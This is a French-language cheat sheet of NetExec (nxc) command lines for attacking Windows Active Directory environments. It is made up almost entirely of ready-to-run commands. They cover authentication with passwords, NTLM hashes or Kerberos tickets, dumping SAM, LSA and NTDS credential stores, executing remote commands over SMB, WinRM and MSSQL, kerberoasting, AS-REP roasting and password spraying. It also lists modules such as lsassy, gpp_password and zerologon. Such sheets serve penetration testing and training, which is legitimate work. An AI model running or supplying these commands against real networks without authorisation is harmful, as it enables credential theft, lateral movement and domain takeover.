NetExec

# Mot de passe
nxc smb 10.10.10.0/24 -u user -p 'Password' -d DOMAIN

# Hash NTLM
nxc smb 10.10.10.10 -u user -H NTHASH -d DOMAIN

# Kerberos
nxc smb dc01.domain.local -u user -k --use-kcache -d DOMAIN

# Fichier d'identifiants (user:pass ou user:hash)
nxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success

# Info hôte et signature
nxc smb 10.10.10.0/24

# Partages accessibles
nxc smb 10.10.10.10 -u user -p 'Password' --shares

# Utilisateurs, groupes, sessions
nxc smb 10.10.10.10 -u user -p 'Password' --users --groups --sessions

# Qui est connecté
nxc smb 10.10.10.10 -u user -p 'Password' --loggedon-users

# Dump SAM / LSA / NTDS
nxc smb 10.10.10.10 -u admin -p 'Password' --sam
nxc smb 10.10.10.10 -u admin -p 'Password' --lsa
nxc smb dc01 -u admin -p 'Password' --ntds

# Commande cmd / PowerShell
nxc smb 10.10.10.10 -u admin -p 'Password' -x 'whoami /all'
nxc smb 10.10.10.10 -u admin -p 'Password' -X 'Get-Process'

# WinRM
nxc winrm 10.10.10.10 -u user -p 'Password' -x 'hostname'

# MSSQL : commandes et requêtes
nxc mssql 10.10.10.10 -u sa -p 'Password' -q 'SELECT @@version'
nxc mssql 10.10.10.10 -u sa -p 'Password' --local-auth -x 'whoami'

# Description des utilisateurs (souvent des passwords oubliés)
nxc ldap dc01.domain.local -u user -p 'Password' --query \
  '(objectClass=user)' description

# Kerberoastable / AS-REP roastable
nxc ldap dc01.domain.local -u user -p 'Password' --kerberoasting kerb.txt
nxc ldap dc01.domain.local -u user -p 'Password' --asreproast asrep.txt

# Admins du domaine
nxc ldap dc01.domain.local -u user -p 'Password' --groups "Domain Admins"

# Password spraying (1 mot de passe, beaucoup d'users)
nxc smb 10.10.10.0/24 -u users.txt -p 'Summer2026!' --continue-on-success

# Lister les modules
nxc smb -L

# Modules utiles
nxc smb 10.10.10.10 -u user -p 'Password' -M spider_plus
nxc smb 10.10.10.10 -u user -p 'Password' -M lsassy
nxc smb 10.10.10.10 -u user -p 'Password' -M gpp_password
nxc smb 10.10.10.10 -u user -p 'Password' -M zerologon